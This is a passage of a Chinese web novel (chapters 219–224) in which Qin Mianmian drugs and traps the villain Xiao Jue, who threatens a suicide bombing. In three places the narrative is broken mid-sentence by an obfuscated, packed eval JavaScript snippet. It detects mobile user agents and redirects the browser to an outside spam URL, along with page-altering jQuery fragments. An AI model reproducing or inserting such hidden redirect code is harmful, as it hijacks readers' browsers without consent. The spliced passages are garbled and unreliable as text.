秦绵绵摇了摇头:“顾姐没说完就死了,我查探到的内容,也不多。” “京城……”姜敬意眼中精光一闪,“丫头,萧玦那家伙在京城势力极大,我们如今虽然暂时摆脱了他,但他绝不会善罢甘休。你这身世要是能查明,说不定能寻到足以与他抗衡的靠山!” 第219章 空坟 他越想越觉得可行:“这样,四叔我替你走一趟京城!一来,帮你打探你亲生父母的消息;二来,也看看能不能找到些门路,为你日后行事铺路!” 秦绵绵心中微暖,她知道姜敬意是真心为她着想。 她点了点头:“那就有劳四叔了。只是京城鱼龙混杂,四叔此去务必小心。” 她顿了顿,又道:“对了,四叔,你到了京城,方便的话,帮我去看看罗小胖和姚祁。他们两人自从回京城之后就跟我断了联系,我有些担心。” 姜敬意一口应下:“放心!你四叔我别的本事没有,人脉也是有一些的,找人轻轻松松!一定帮你把他们两个臭小子囫囵个儿地找出来!” 裴应见在一旁静静听着,目光始终落在秦绵绵身上,带着不易察觉的温柔。 于是当天下午,姜敬意就打点好行装,辞别了秦绵绵和裴应见坐上了去京城的车。 而此时的京城,郊外一处僻静的墓园。 细雨霏霏,打湿了青石板铺就的小径。 姚祁一身黑衣,撑着一把油纸伞,独自站在一座没有任何标记的孤坟前。 雨水顺着伞沿滑落,在他脚边溅起细小的水花。 他俊朗的脸上不见了往日的玩世不恭,取而代之的是一种深沉的哀伤与复杂。 他弯下腰,将一束洁白的雏菊轻轻放在墓碑前,指尖微微颤抖。 “我又来看你了。”他的声音很轻,仿佛怕惊扰了沉睡的故人,“有些事情,似乎越来越不受控制了。你说,我该怎么办?” 雨越下越大,模糊了他的身影,也掩盖了他眼底那一闪而逝的痛楚与迷茫。 风吹过,卷起几片落叶,在孤坟前打着旋,更添萧瑟。 而就在这时,周遭的静谧被一阵杂沓的脚步声遽然撕裂。 转瞬之间,数十名黑衣人从林间幽暗处涌出,如鬼魅般将他团团围住,冰冷的杀气伴随着雨水的寒意扑面而来。 为首一人身材魁梧,脸上横着一道狰狞的刀疤,目光如鹰隼般锐利,在姚祁身上扫过,最后定格在那座无名土丘上。 “就是这里?”他沉声问道,语气不带丝毫温度。 姚祁缓缓转过身,面无表情,只淡淡“嗯”了一声。雨水模糊了他的视线,却掩不住他眼底深处的寒意。 刀疤脸眼中闪过一丝得色,嘴角咧开一抹残忍的笑意: “姚公子,早这样配合不就好了?我们老板说了,您的姐姐是他心头挚爱,现在你终于愿意说出她的安息之所,我们老板能迎回挚爱,这是天大的喜事!你也该高兴些才是。” 姚祁闻言,唇角勾起一抹极淡的讥讽,那笑意未达眼底,却比这凄风苦雨更冷。 刀疤脸见他不为所动,也不着恼,只一挥手:“挖!” 他身后数名黑衣人应声上前,亮出随身携带的铁锹,毫不迟疑地朝着那孤坟铲去。 泥土翻飞,雨水混着泥浆四溅,沉闷的挖掘声在寂静的墓园中显得格外刺耳。 姚祁静静地站在一旁,他的目光穿透雨幕,落在翻飞的泥土上,眼神幽深,无人能懂。 时间一点点过去,雨势渐大。 “老大!没有!”一个黑衣人突然直起身,声音带着一丝错愕和不安。 “什么?”刀疤脸脸色一沉,几步上前,只见挖开的墓穴中,除了潮湿的泥土,空空如也,哪里有什么棺椁骸骨! “怎么回事?!”刀疤脸勃然大怒,一把揪住姚祁的衣领,恶狠狠地问道:“姚祁!你敢耍我们!说!你姐姐到底埋在哪里!” 姚祁被他拽得一个趔趄,脸上却依旧平静如水,只是那抹讥讽的笑意更深了些:“我说了,就在这里。信不信,由你们。” “妈的!还敢嘴硬!”刀疤脸怒不可遏,掏出一部特制的通讯器,迅速接通了视频。 屏幕上,萧玦那张阴鸷的面容显现出来,即便隔着屏幕,那股寒意也让人不寒而栗。 “老板,这小子耍我们!坟是空的!”刀疤脸恭敬地汇报,语气中带着一丝惶恐。 萧玦的目光如利剑般射向屏幕中的姚祁,声音冰冷得像是能将空气冻结:“姚祁,你要反悔么?我的耐心是有限的。” 刀疤脸会意,对着手下使了个眼色。 两名黑衣人立刻上前,将姚祁死死按在泥地里。 拳脚如雨点般落在姚祁身上,沉闷的击打声伴随着他压抑的闷哼,在雨中显得格外清晰。 雨水混着泥水和血水,在他身下蔓延开来。 姚祁被打得蜷缩在地,嘴角溢出鲜血,但他始终咬紧牙关,一声不吭。 过了许久,待那些拳脚稍歇,他才喘息着,断断续续地开口:“我没有骗你……姐姐当年……就是葬在这里……我亲手葬的……” 他抬起头,目光穿过雨帘,直视着屏幕中萧玦冰冷的眼睛:“……为了绵绵的安全……我也不会拿这种事……欺骗你……” 萧玦闻言,眉头微不可察地蹙了一下。 他盯着姚祁那张满是伤痕却依旧倔强的脸,沉默了片刻。 “去查!”萧玦终于开口,“活要见人,死要见尸!” “是!老板!”刀疤脸恭声应道,随即挂断了通讯。他恶狠狠地瞪了地上的姚祁一眼,啐了一口:“算你小子命大!” 黑衣人四散而去。 雨依旧下着,冰冷刺骨,姚祁躺在泥泞之中,眼前渐渐模糊。 …… 客栈里,秦绵绵再次去看望朱七妹,母子二人依旧不见好转。 朱七妹神色迷惘,也不知道是病的还是心里藏着什么事,怀里的朱小宝也蔫蔫的,没什么精神。 秦绵绵眉心微蹙,叫来叶子舟:“把最近客栈内外发生的事情,仔仔细细跟我说一遍,尤其是关于七妹的。” 叶子舟面露难色:“掌柜的,说实话,这两天没有什么特别的事。七妹姐就……就突然这样了。问她,她也不言语,只是摇头。” 他挠了挠头,也是百思不得其解。 秦绵绵沉吟片刻,正想再问些细节,姜芙风风火火地从外面闯了进来。 第220章 又见面了 正要说话,见两人这气氛,连忙问发生了什么事。 叶子舟就说了。 姜芙喘了口气: “这事我知道啊!前几天,忘了到底是几号了,反正有那么一天,咱们客栈里来了两个外地口音的男人。俩人点了几样小菜,却不怎么动筷子,反倒是打听了几句人,七妹好像不是很想搭理他们的样子。然后那两人离开之后没多久,朱七妹就病倒了,整个人都失魂落魄的……” 秦绵绵眸光一凝:“打听人?打听谁?” 姜芙道:“我离得远,没听清,反正那两人有点古怪,不像好人。” 秦绵绵立刻转向叶子舟:“你马上去一趟景区管理处找赵叔,让他调出那几天的监控录像,特别是大堂门口和周边的,看看能不能找到那两个人。” 叶子舟立刻匆匆地出门了。 姜芙看着叶子舟的背影,又凑近秦绵绵,神色复杂地说道:“绵绵,还有一件事……姜开元和柏美俞,失踪了。” 秦绵绵端起茶杯,指尖轻轻摩挲着杯壁,脸上并无半分意外:“失踪了?” 裴应见坐在一旁,闻言淡淡开口:“十有**是萧玦的手笔。” 姜芙却并不知道萧玦是谁。 游轮上的事情,秦绵绵还没跟她细说过。 秦绵绵想了想,把萧玦的身份,姜飞飞的身世,还有游轮上与萧玦的周旋和冲突简略地说了一遍,特别是萧玦为了姜飞飞不择手段的疯狂。 姜芙听得心惊肉跳,倒吸一口凉气:“那……那姜开元他们岂不是……凶多吉少?” 她虽然也恨姜开元夫妇的所作所为,但想到他们可能遭遇不测,还是有些不落忍。 秦绵绵放下茶杯,声音里听不出温度:“不过是狗咬狗罢了。他们设计坑害大房二房的时候,何曾想过手下留情?如今落得这个下场,也是咎由自取。” 她看向姜芙,语气转为郑重:“姜芙,你现在最要紧的是稳住大房和二房的生意,把那些被姜开元搅乱的账目理顺,不要让外人看了笑话。至于姜开元夫妇的死活,与我们有什么关系?” 姜芙被秦绵绵眼中的冷意震慑,心中那点不忍也迅速消散了。 是啊,姜开元夫妇什么时候对他们有过半点亲情与怜悯? 绵绵说得对,现在最重要的是家族的生意和未来。 她深吸一口气,郑重地点了点头:“我明白了。我会处理好一切的。” 姜芙刚把话说完,客栈之外,毫无征兆地响起一阵刺耳的刹车声。 整齐而沉重的脚步声,迅速由远及近。 那声音不像是寻常游客的喧闹,反而带着一种训练有素的压迫感,让客栈前堂原本轻松的氛围瞬间凝固。 秦绵绵和裴应见的目光同时投向大门,眉头不约而同地蹙起。 转瞬之间,数十道黑影便涌现在客栈门口,将本就不算宽敞的入口堵得水泄不通。 这些人皆是统一的黑色劲装,神色冷峻,目光锐利,腰间鼓鼓囊囊,显然都带着家伙。 一股肃杀之气,伴随着景区特有的微凉之风,倒灌进客栈之内,让人不寒而栗。 人群如潮水般向两旁分开,一架特制的宽大轮椅缓缓被推了出来。 轮椅之上,端坐着一个身形消瘦的男人,正是萧玦。 他依旧戴着那张惨白色的面具,只露出一双阴鸷到极致的眼睛,如同深渊中的寒冰,不带丝毫人类的情感。 他身后,是那名刀疤脸手下,神情恭敬而淡漠。 整个客栈大堂静得落针可闻,所有人的目光都聚焦在萧玦身上,空气仿佛被抽干了一般,压抑得让人喘不过气。 “秦小姐,又见面了。”萧玦的声音沙哑依旧,却带着一种令人心悸的平稳。 他目光扫过众人。 “姜开元和柏美俞不太听话。我已经略施惩戒,让他们明白不合作的下场。现在,我最后问一次,姜飞飞,在哪里?” 他每一个字都像是裹着冰碴,敲打在众人的心上。 姜芙吓得脸色发白,下意识地往秦绵绵身后缩了缩。 秦绵绵却迎着萧玦的目光,唇角勾起一抹冷冽的弧度: “萧先生真是好大的阵仗。不过,你怎么不想想,我既然敢招惹你,自然也该有些让你忌惮的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“有不从的,或者想耍什么花样的,我就先让他们两个,尝尝比姜开元夫妇更痛苦的滋味。” 他微抬下巴,指了指门外倒在地上的,满身血痕的赵立生和叶子舟两人。 客栈大堂内,气氛凝固到了冰点。 姜芙吓得浑身发抖,死死攥着秦绵绵的衣袖,指节都泛了白。 就在这时,毫无预兆地,“啪”的一声轻响,整个客栈大堂连同外面的灯光,齐齐熄灭。 这天天气不好,不到黄昏就已经昏暗,客栈里面一直开着灯的。 突如其来的黑暗让众人一阵低低的惊呼。 天本就阴沉,此刻客栈内骤然失了光源,唯有门外透进些许惨淡的天光,勉强勾勒出人影轮廓,更添几分诡异与不安。 萧玦的轮椅在黑暗中发出一声轻微的金属摩擦声,他似乎并不意外,只是那双在黑暗中依旧锐利如鹰隼的眼睛,死死锁定着秦绵绵的方向。 秦绵绵的声音在黑暗中响起,带着一丝奇异的镇定,“萧先生,天黑了,先点了蜡烛再行跪拜大礼也不迟,您说是不是?免得磕错了方向,怠慢了您。” 她语气轻松,仿佛只是在说一件再寻常不过的小事。 不等萧玦回应,秦绵绵摸索着从柜台下取出了几根粗长的红烛和火柴。 微弱的火光亮起,映照着她平静无波的脸庞。 她不慌不忙,将蜡烛一一点燃,分别置于大堂的几张桌案上。 摇曳的烛光驱散了部分黑暗,却也投下幢幢晃动的人影,让客栈内的气氛愈发显得光怪陆离。 烛光下,秦绵绵并未如萧玦所愿那般跪下,反而施施然拉过一张椅子,在萧玦的轮椅对面坐了下来,与他隔着一张方桌。 “萧先生,”她双手交叠放在桌上,烛光在她眼中跳跃,“难得来我们这小地方,不如聊聊?我听闻京城风物与海城大不相同,不知萧先生幼时在京城,可有什么有趣的过往?” 萧玦面具后的眼神骤然一寒:“秦绵绵,你到底想耍什么花样?” “花样?”秦绵绵轻轻一笑,摇了摇头,“没什么,只是想让萧先生更了解一些事情,比如……关于您那位妹妹,姜飞飞。” 萧玦周身的气息陡然变得暴戾:“我不想听!” “不,你得听。你好不容易找到了这位秦绵绵,总该知道她这些年,是怎么过来的。” 她看着萧玦,一字一句,清晰地说道: “姜飞飞,当年是被一个叫顾姐的人从京城拐卖到了海城。顾姐心狠手辣,将她卖给了一个相熟的医生。那医生,又用她换了姜家刚出生的儿子。后来,姜家的仇家为了报复,又将她从姜家偷走,与秦家的孩子调换。再后来,她被她的养父,也就是我的父亲秦华青,亲手卖给了人贩子,卖进了深山老林……” 随着秦绵绵的叙述,萧玦面具下的呼吸渐渐粗重起来。 尽管看不清他的表情,但那双眼睛里翻涌的戾气,几乎要将周围的空气都点燃。 秦绵绵话锋陡然一转,声音也冷了三分: “姜飞飞在被卖到了一家毫无人性的人家,他们**她,折磨她,她几次求死未遂……经历了万般苦楚,她终于被姜家认回,之后,她就开始处心积虑装作白莲花,陷害我,甚至在我被赶出姜家后,她仍不肯放过,非要置我于死地而后快……” 萧玦闻言,竟发出一声冰冷的嗤笑: “那又如何?受了那么多苦,用点手段报复回来,也是应该的。不愧是我萧家的孩子,有仇必报,很好。” 秦绵绵唇角也扬起一抹讥讽的弧度:“不错,萧家生出来的确实都不是什么好东西!心狠手辣,冷血无情,说是畜生都是抬举了。” “你找死!”萧玦勃然大怒,猛地一拍轮椅扶手,厉声喝道,“来人!先把那个姓叶的小子给我拖进来!我要让她亲眼看着,嘴硬的下场!” 他身后的刀疤脸等人正要应声上前。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15587723|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>秦绵绵却缓缓站起身,看着萧玦,脸上露出一抹高深莫测的笑容: “萧先生,时辰差不多到了。” 萧玦心中猛地一突,下意识地便想驱动轮椅后退。 然而,他身后的刀疤脸,以及雕塑般伫立的黑衣人,竟像是被抽走了全身的力气,一个接一个,软绵绵地瘫倒在地,发出一连串沉闷的声响。 转瞬之间,方才还气焰嚣张的一众打手,此刻竟都人事不省。 随即一个人影窜出门外。 客栈大门外,立刻传来几声短促的闷哼与重物倒地的声音,随即也归于沉寂。 裴应见收手,在门口站定,拍了拍手上的灰尘,目光冷冽地扫过堂内。 萧玦面具下的眼神,在摇曳的烛光中,难看到了极点。 但很快,他也失去意识,晕了过去。 姜芙望着一地瘫倒的黑衣人,还有那在轮椅上歪着头,同样没了动静的萧玦,惊得半晌说不出话来。 好半天才找回自己的声音,指着这满堂的“尸体”,结结巴巴地问秦绵绵:“绵绵……他们……他们这是怎么了?” 秦绵绵将燃尽的火柴扔进一旁的垃圾桶,神色平静地仿佛只是做了一件微不足道的小事: “不过是用了点小手段,让他们暂时睡一会儿。” 她转向姜芙:“救人要紧。你先带人,把赵叔和叶子舟送去最近的医院,仔细检查一下伤势。” “哦,哦,好!”姜芙连连点头,随即又想起什么,“那……我们要不要报警?这些人……” 她看着地上横七竖八的打手,心有余悸。 秦绵绵摇了摇头,眸光深沉:“不必。萧玦的事情牵扯太多,我自有分寸。” 她看了一眼裴应见,“这里交给我们。” 姜芙见秦绵绵主意已定,也不再多言,连忙招呼客栈里其他人,七手八脚地将叶子舟和赵立生搀扶起来,小心翼翼地避开门外地上那些黑衣人,匆匆往景区外走去。 第222章 同归于尽 待客栈大堂重归寂静,只剩下摇曳的烛火与满地昏睡的敌人,裴应见已不知从何处寻来了粗麻绳,动作麻利地将萧玦的那些手下一个个捆了个结实,如同捆粽子一般。 秦绵绵从怀中取出一个小巧的瓷瓶,拔开塞子,在萧玦的鼻端轻轻晃了晃。 一股极淡的、带着些微刺激性的气味散开。 不过片刻,轮椅上的萧玦眼睫微颤,发出一声低低的呻吟,缓缓睁开了眼睛。 烛光映在他惨白的面具上,那双露出的眼睛先是闪过一丝迷茫,随即迅速被惊怒与阴鸷取代。 “你对我做了什么?” 秦绵绵将瓷瓶收好,施施然在他对面坐下。 “萧先生醒了?看来我这**的解药,效果还不错。” 她语气轻松,仿佛在与老友叙旧。 “**?”萧玦面具后的眼神充满了怀疑,“没有**没有这样的效果。” 秦绵绵唇角勾起一抹淡淡的嘲讽:“萧先生,这世上你不懂的事情,多着呢。” 萧玦虽然醒了,身体却不能动,但那股子阴狠的气焰却丝毫未减。 他冷笑一声:“秦绵绵,你以为抓了我,就能高枕无忧了?不趁现在杀了我!” “杀了你?”秦绵绵像是听到了什么笑话,轻轻摇了摇头,“萧先生,你太高看自己了。若不是为了一个人,你以为你现在还能有机会同我说话?” 她目光陡然变得锐利,直视着萧玦:“姚祁,在哪里?” 萧玦闻言,面具后的眼神微微一动,随即发出一阵低沉的、令人毛骨悚然的笑声: “姚祁?呵呵……秦小姐倒是重情重义。怎么,现在才想起他?” 秦绵绵依旧不动声色: “我早就怀疑,在背后处心积虑想要对付我的大人物就是你。” “姚祁也猜到你可能就是幕后黑手。他担心我的安危,匆匆赶回京城,却突然中断所有联系,他一定是落到了你的手里,对不对?” 萧玦的笑声更大,带着毫不掩饰的得意与残忍: “秦小姐果然聪明。不错,姚祁那小子,的确在我手上。” 他微微扬了扬下巴,尽管被捆着,那副居高临下的姿态却丝毫未改:“说起来,我正好有份‘礼物’要送给你。打开你的邮箱看看,或许你会喜欢。” 秦绵绵掏出手机,迅速点开了邮箱。 最新的邮件,发件人未知,只有一个视频附件。 她点开视频。 昏暗的背景,雨声淅沥。 镜头晃动,随即定格在一片泥泞的墓地。 姚祁浑身湿透,被人死死按在地上,拳脚如雨点般落在他身上。 他蜷缩着身体,嘴角溢出血沫,却死死咬着牙,一声不吭。 雨水混着泥水和血水,在他身下蔓延……正是前几日,姚祁在孤坟前被萧玦手下殴打的景象。 秦绵绵的指节瞬间捏得发白,手机屏幕的光映在她脸上,照不进眼眸深处。 然而,她的声音却依旧保持着令人心惊的冷静,甚至带着一丝冰冷的笑意:“萧玦,看来你是不想要自己的命了。” 她缓缓抬起头,目光如刀,刮过萧玦的面具:“把他交出来。我可以考虑,让你留一口气。” 萧玦面具后的双眼死死盯着秦绵绵,那眼神仿佛要将她生吞活剥。 然而,预想中的暴怒或者恐惧并未出现,他反而发出一连串低沉而诡异的笑声,笑声在摇曳的烛光中回荡,带着令人头皮发麻的癫狂。 “呵呵……秦绵绵,你真是……越来越让我刮目相看了。” 话音未落,萧玦猛地一转轮椅,那特制的轮椅竟如离弦之箭般,悄无声息地向着大堂一角的阴影处滑去,速度之快,远超常人想象。 “想跑?”裴应见目光一凛,身形微动。 秦绵绵却比他更快,几乎在萧玦动作的瞬间,她已如猎豹般追了出去。 然而,萧玦的轮椅异常灵活,在堆满昏迷打手的客栈大堂内左冲右突,那些横七竖八的桌椅和歪倒的人体,在他娴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15587724|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熟的操控下,竟成了绝佳的掩体。 秦绵绵身形敏捷,每一次扑身都看似全力以赴,却又在关键时刻收敛一分,她好像并非盲目追赶,有时候又刻意放缓了某个方向的封堵,逼迫萧玦只能选择另一条看似安全的逃逸路线。 萧玦自以为凭借轮椅的机动性,一次次成功避开秦绵绵的拦截,他发出几声得意的喘息,更加卖力地操控轮椅,试图摆脱身后的追击。 他绕过一张翻倒的方桌,又从两名倒地仆从之间狭窄的空隙穿过,就这样,你追我赶,两个来回的追逐之后,萧玦操控着轮椅最终退到了客栈大堂深处,一处被烛光忽略的、最阴暗的墙角。 就在萧玦以为自己暂时安全,正要喘口气时,秦绵绵骤然停下脚步,冷冷地注视着退到墙角,与她隔着数张桌椅的萧玦: “你竟然还能动?” 萧玦倚在轮椅中,发出得意的喘息:“咳……你千算万算,怕是没算到我这副身子骨,素来比常人体弱。那**反倒不足以让我彻底昏迷太久……” 他一边说着,一边缓缓抬起一只手,伸向自己的衣襟。 在秦绵绵和裴应见警惕的目光中,他猛地扯开了自己的外套。 外套敞开,露出的景象让裴应见瞳孔骤缩,连秦绵绵的呼吸也几不可察地停滞了一瞬。 只见萧玦消瘦的胸膛上,赫然用黑色胶带密密麻麻地缠绕着数排条状物,红色的指示灯在昏暗中闪烁着不祥的光芒,一根引线连接到一个小巧的**上,正被萧玦死死攥在手中。 **! 裴应见周身杀气迸发,一把将秦绵绵护在身后。 “你果然是个不折不扣的疯子!” 萧玦看着他们惊怒的表情,面具下的嘴角咧开一个扭曲的弧度,眼中闪烁着疯狂的快意: “疯子?呵呵……能拉着你们一起上路,尤其是你,秦绵绵……做个疯子,又何妨?!” 他扬了扬手中的**:“谁都别动!谁要是敢动一下,我们就一起化作飞灰,同归于尽!” 第223章 给我一个痛快 客栈大堂内,死一般的寂静。 烛火摇曳,映照着萧玦那张惨白的面具,和他眼中同归于尽的疯狂。 门口透进的微光,将他周身笼罩上一层阴影。 裴应见护着秦绵绵就想走,然而秦绵绵却突然轻轻捏了捏裴应见的手。 她从裴应见身后走了出来,迎着萧玦疯狂的目光,唇角竟也勾起一抹冰冷的笑意,那笑容比萧玦的更加幽深,更加莫测。 “萧先生,我忽然想起一件事。” 萧玦眯起眼睛:“你还想耍什么花样?!” 秦绵绵轻笑一声,摇了摇头,“花样算不上。我只是在想,萧先生在京城呼风唤雨,是不是太久了,以至于忘了些基本的道理?” 她顿了顿,语气带着一丝恰到好处的怜悯:“比如说,你大概是没上过学,或者说,没好好学过历史地理?” 萧玦被她这没头没脑的话弄得一怔,随即怒道:“你到底想说什么?!” “我想说,”秦绵绵脸上的笑容渐渐敛去,取而代之的是一种居高临下的审视,“老话常谈,强龙不压地头蛇。你一个京圈太子爷,不在你的京城好好待着,非要跑到我这小小的海城来撒野,三番两次找我的麻烦,甚至还敢大张旗鼓地找上门来……” 她缓缓踱步,目光如同利刃般剐过萧玦的面具:“你说,你是不是自己上赶着来送死?如今落得这个下场,吃了亏,也是你应该受着的。” 秦绵绵的话音不高,却字字清晰,带着一种不容置疑的笃定。 “你……!”萧玦被她这番话气得浑身发抖,攥着起爆器的手青筋毕露,“你以为我不敢——” 他的话音未落,甚至连那威胁的“敢”字都未曾完整吐出。 毫无征兆地,萧玦轮椅所在的那个角落,脚下的青石地面突然发出一声沉闷的“咔嚓”声。 紧接着,在萧玦惊骇欲绝的目光中,他身下的地面骤然裂开一个漆黑的窟窿! “啊——!” 凄厉的短促惊叫被瞬间吞噬。 那特制的轮椅连同上面的萧玦,就那样直挺挺地掉了下去。 电光石火之间,裂开的地板又猛然合拢,严丝合缝,仿佛什么也未曾发生过。 客栈大堂内,只剩下摇曳的烛火,满地昏迷不醒的黑衣人,以及站在原地,神色冷漠的秦绵绵与裴应见。 秦绵绵唇角勾起一抹浅淡的笑意,带着几分得意: “我四叔能做出那般精巧的轮椅,机关术自然是出神入化的。我呢,自然也是得了他几分真传。” 裴应见眼底笑意更深,伸手轻轻拂去她肩头并不存在的灰尘:“哦?这些布置,你是什么时候弄的?我竟丝毫没有察觉。” “自然是在客栈翻修的时候。”秦绵绵语气轻快了些,“就是那段你过不来的时间。” 她说着,走到柜台后,从下面摸出一个平板模样的对讲器,熟练地操作了几下。 屏幕亮起,幽暗的画面中,正是陷阱之下的景象。 萧玦其实中迷药也很深,方才那番同归于尽的叫嚣,已然耗尽了他最后的气力。 此刻,他狼狈地跌落在陷阱底部,那架特制的轮椅翻倒在一旁,沉重地压在他的腿上。 他脸上惨白的面具歪向一旁,露出一小片同样惨无血色的皮肤,额头上青筋毕露,显然在承受着巨大的痛苦。 “萧先生,”秦绵绵的声音通过对讲器传了下去,带着一丝戏谑,“这下面的风光,可还合您的心意?” 陷阱底部,萧玦艰难地喘息着,听到秦绵绵的声音,眼中迸发出怨毒的光芒。 他费力地抬起一只手,似乎还想去摸索什么,口中断断续续地嘶吼:“你……你以为……这就完了……我……我要……” “要引爆炸弹,与我同归于尽?”秦绵绵轻笑一声,打断了他,“萧先生,不必白费力气了。我这陷阱虽小,用的可是最先进的防爆材料。你就算把自己在底下炸成一滩肉泥,熏得臭气熏天,也休想伤到上面分毫。顶多,是给你自己挖了个更深的坟墓而已。” 萧玦的动作僵住了。 他能感觉到自己的腿骨怕是断了,肋骨也像是裂开一般,每一次呼吸都带着撕心裂肺的疼痛。 他死死盯着屏幕的方向,即便那里只有冰冷的镜头。 半晌,他发出一阵低沉而古怪的笑声,那笑声在狭小的空间里回荡,显得格外阴森。 他喘了口气,声音嘶哑,“给我……一个痛快!” 他本以为秦绵绵会像猫戏老鼠一般,继续折磨他,羞辱他。 谁知,秦绵绵却干脆地应道:“好啊。等你死了,我会亲自去一趟京城,好好‘接收’你手下那些产业。至于姚祁的下落,相信没有了你的阻碍,我也一定能找到。萧先生,就此别过,黄泉路上,可别再迷路了。” 说完,她作势就要切断通讯。 “等等!”萧玦几乎是嘶吼出声。 秦绵绵挑了挑眉,好整以暇地看着屏幕。 萧玦大口地喘着粗气,面具下的眼神复杂难明,有不甘,有怨毒,但更多的,却是一种近乎疯狂的偏执:“告诉我……飞飞……飞飞她……到底在哪里?” 屏幕上,萧玦那张因痛苦而扭曲的脸,在说到姜飞飞的名字时,竟有了一丝死寂般的平静。 秦绵绵冷笑一声,目光穿透屏幕,直视萧玦的双眼:“都这个时候了,你问她做什么?难不成还指望下去跟她团聚?” 萧玦喉间发出粗哑的喘息,带着血腥气。 他艰难地转动着头,那双锐利的眼此刻蒙上死灰,空洞地望向陷阱上方,仿佛穿透层层阻隔,回到了遥远的过去。 “当年……她还那么小……是我非要带她出去晒太阳……” “是我没看好她……才让人贩子抱走了她……” “这些年……我没有一天不在想……” 他剧烈咳嗽,身体蜷缩得更紧,“我一直在找她……我欠她的……是我害了她……” 自责,悔恨,这些本不该出现在萧玦身上的情绪,此刻却如同潮水般将他淹没。 第224章 不想小宝没有父亲 秦绵绵静静地听着,脸上的表情没有丝毫变化,等萧玦那阵痛苦的喘息稍稍平复,才淡漠地开口,声音平静得近乎残忍: “她在一个你永远也找不到的地方。而且,我可以明确告诉你,就算你死了,也见不到她。” 话音落,她伸手便要按下对讲器上的红色按钮。 萧玦似乎也认命了,闭上眼睛,等待着最终的审判。 就在这时,客栈后院方向突然传来急促的脚步声,一个身影踉跄着冲进大堂,正是朱七妹。 她牵着朱小宝的手,奔到秦绵绵身边,焦急地比划着。 秦绵绵准备按下的手指顿住了,她微微蹙眉:“七妹,你这是做什么?” 朱七妹急促地比划了几句,又指向陷阱,又指向身旁的朱小宝。 她张着嘴,却发不出丝毫声音,比划了半天,最后泪水顺着她苍白的脸颊滑落。 她默默闭上眼,别过头去。 秦绵绵却已经看懂了。 她好半晌都没出声。 朱七妹刚才说的话是:【我不想小宝没有父亲。】 秦绵绵缓缓放下按在对讲器上的手,语气复杂地开口:“所以萧玦是小宝的……” 朱七妹泪流满面,深深叹了口气,点点头。 客栈大堂,再次陷入诡异的寂静。 朱七妹的点头,像是一块巨石投入平静的湖面,在秦绵绵和裴应见心中都激起了层层波澜。 这个事实,太过出人意料。 萧玦那样一个疯子,一个狠厉到骨子里的人,竟然会有孩子?而且,竟是朱小宝。 秦绵绵看着朱七妹苍白失魂的脸,又看了一眼旁边同样显得有些呆滞、紧紧抓着母亲衣角的朱小宝,孩子似乎并不能完全理解大人们之间的暗流汹涌,却本能地感觉到了不安。 朱七妹嘴唇翕动,泪水无声地淌过脸颊,似乎想解释什么,却又不知从何说起,最终只是痛苦地摇了摇头,整个人摇摇欲坠。 秦绵绵压下心头的震惊。 现在不是追根究底的时候。 她又拿起对讲器,对着屏幕上陷阱底部的萧玦冷声道:“萧先生,看来你暂时死不了了。” 说完,不等萧玦有所反应,她直接在操控界面上按了几个按钮。 陷阱底部,几不可闻的轻响过后,一股无色无味的迷烟迅速弥漫开来。 屏幕里的萧玦似乎察觉到了什么,挣扎着想抬头,但吸入迷烟后,身体只抽搐了两下,便彻底软了下去,再次陷入昏迷。 他胸前那狰狞的炸弹,红灯依旧闪烁,却暂时失去了主人的控制。 秦绵绵对裴应见道:“先把七妹和小宝送去休息,他们状态很不好。” 裴应见抱起朱小宝,秦绵绵扶起朱七妹,两人一起把母子俩送回了宿舍。 刚关上门,秦绵绵的手机响了,是姜芙打来的。 “绵绵,赵叔和叶子舟都没什么大事,医生说都是皮外伤,看着吓人,养几天就好了。我已经给他们安排好病房了。” “我转了笔钱给你,医药费和后续的营养费,务必让他们用最好的药,好好休养。” “钱其实我这里还有,对了萧玦那些人……” “放心,萧玦和他的人都已经被我解决了,暂时不会有麻烦。” “那就好,那就好!赵叔让我跟你说,他没事,让你别担心,也别因为他就对那些坏人手软,他相信你做的都是对的。” 秦绵绵顿了顿,轻声道:“我知道了。你跟他说,安心养伤,其他的事情有我。” 挂了电话,秦绵绵想了想,又单独给赵立生拨了过去。 电话很快接通,赵立生声音依旧虚弱,却透着一股子硬气:“小秦丫头,我没事!这点小伤算什么!你是做大事的人,千万不能因为我们就对那些恶势力屈服!赵叔这条命,你用得上随时拿去!” 听他说的慷慨激昂的,秦绵绵心中熨帖,温声道:“胡说什么赵叔,好好养伤,其他都别管。萧玦和他的人我已经控制住了,他们翻不起浪花了。” 赵立生嘿嘿笑起来:“就是这两天我不能回家了,你婶子那还得你帮我瞒过去,嘿嘿……” 叶子舟的声音也从旁边凑了过来:“掌柜的我也没事,我完全信任你的决定。” 秦绵绵简单安抚了两人几句,叮嘱他们安心养伤,便结束了通话。 她没有提及朱七妹和朱小宝的事情,这件事太过复杂,暂时不宜外泄。 